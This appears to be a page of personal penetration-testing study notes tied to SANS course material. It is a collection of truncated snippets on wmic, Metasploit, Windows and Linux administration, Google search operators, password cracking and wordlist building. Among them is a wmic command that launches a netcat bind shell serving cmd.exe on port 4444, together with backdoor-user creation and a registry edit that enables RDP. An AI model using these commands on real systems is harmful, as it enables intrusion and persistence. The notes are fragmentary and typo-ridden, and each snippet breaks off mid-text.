nagpentest

to look at the process that have a name of nc.exe lisiting one line of output(brief), every 1 second. windows>wmic process where name="nc.exe" list brief /every:1 invoke nc using wmic windows>wmic process call create "c:\tools\nc.exe -l -p 4444 -e cmd.exe" delete/kill netcat process windows>wmic process where name="nc.exe" delete

Metasploit Cheat Sheet You already know what a vulnerability is. An exploit is a piece of code written to take advantage of a particular vulnerability.  A payload is a piece of code to be executed through said exploit. Have a look at the Metasploit Framework. It is simply a collection of exploits and payloads. Each exploit can be attached with various payloads like reverse or bind shells, the meterpreter shell etc. The beauty of the Metasploit Framework is that it is modular. You can mix and match different payloads and exploits to achieve the needed results. From < https://www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf > Metasploit The Metasploit Framework is a development platform for developing and using security tools and exploits. Metasploit Meterpreter Meterpreter is a payload within the Metasploit Framework that provides control over an exploited target system, running as a DLL loaded inside of any process on a target machine. ...

query status of a service windows> sc query <service_name> state query qc change startup type to demand (a manually started service). this will change the service startup to manual which can be started later windows> sc config tlntsvr start= demand turn service on windows> sc start tlntsvr to add a user windows> net user [username] [passwd] /add add a local grp to host windows> net localgroup [grp name] /add add a user to the local grp windows> net localgroup [grp name] [username] /add change the value to 0 to allow RDP connection from blocked (1) to allowed (0). on most windows rdp service is started but system is configured to deny terminal service connection from rdp client. this setting is controlled by a regstry key called fdenyconnections. add will overwrite exisitng settings. /v value that needs to be changed. windows> reg add "hklm\system\currentcontolset\control\terminal\server"/v fdenytsconnections /t reg_dword /d 0 see all the valriable w...

>useradd -d /home/fred fred >system-config-users >id <username> = to list the id number for the user/group >passwd >whoami > sh <root_username> > linux file system structure = 2 b added > ls -la = diferent color means diferent things = 2 be added. > how to mount cdrom or flash drive = 2 b added > locate <program_name> > find / -name <file_to_look_for>..find / -name ls &...runs in the background using the & after the cmd intervention > less <file_to_see_the_content_of>; ls /dev | less > echo $PATH > which ls = u can c where ls commands are being run from > ps aux | less or top > bg or fg = to start the program in  the background or foreground > jobs = to list all process running in the background > gedit /etc/sysconfig/network-scripts/ifcfg-eth0 > service network restart > netstat -nap | less = show listeining ports; > /usr/sbin/lsof -i |  less = li...

Google searches are case insenstive.   site: search only within the given domain. If you include site: in your query, Google will restrict your search results to the site or domain you specify. For example, [  admissions site:www.lse.ac.uk  ] will show admissions information from London School of Economics’ site and [  peace site:gov  ] will find pages about peace within the .gov domain. You can specify a domain with or without a period, e.g., either as .gov or gov . OR[  site:www.lse.ac.uk   admissions ] OR [  site:www.lse.ac.uk filetype:ppt ] will look for all ppt files in that particular site OR [site:abcd.net ppt] will not only get ppt but also web pages that include the text ppt.   link: Shows all sites linked to a fiven site. The query link: URL shows pages that point to that URL . For example, to find pages that point to Google Guide’s home page, enter: [  link:www.googleguide.com  ] related: Shows similar pages. The quer...

======================================== book 4 pg 165; file 4.6 31:37 * if u have no access to hashes, u may want to consider pwd guessing (using tools like thc-hydra) or sniffing clear text or challenge/response exchange (e.g, cain, tcpdump, etc) * if u have hashes & want to crack the pwd -for salted hash from unix like, use tradional pwd cracking (john ripper) -for lanman, nt hash from windows, use rainbow tables, or tradtional pwd cracking (john or cain) * if you have lanman challenge/response ntlm1 or ntlm2 catures use pwd cracking (cain) * if u have lanman. nt hash and smbaccess use pass the hash ======================================== file 4.4 3:52 minute Pwdump tools a. pwdump3 to pwdump6 b. fgdump c. pwdump7 ======================================== john * john.pot file = when john cracks a pwd, it displays the result on the screen and stores it in the john.pot file. John will not load pwd that it has alre...

file 4.2, 25.40 minute tested... #cewl www . ignitetechnologies . in - d 2 - w / root / Desktop / dict . txt cewl <url> -d<depth> -w<path> Cewl – indicated the tool which is being used <url> – here give the URL that you want to use as a foundation of your dictionary. -d<depth> – here, give the number of links you want it to go through while creating your dictionary. -w<path> – here, give the path where you want to store all the possible passwords. For example in the terminal of kali type :[source: http://www.hackingarticles.in/5-ways-create-dictionary-bruteforcing/] $ mkdir /tmp/source $ cd /tmp/soruce $ wget -r -1 [N] [target_website] $ cd.. $ grep -h -r "" source | tr '[:space:]' '\n' | sort | uniq > wordlist.lst $ grep -v '<' wordlst.lst > newlist.lst -r pulls recursive pages from the target website, following links to a depth of N (-1) pages. grep to omit file names  from the ou...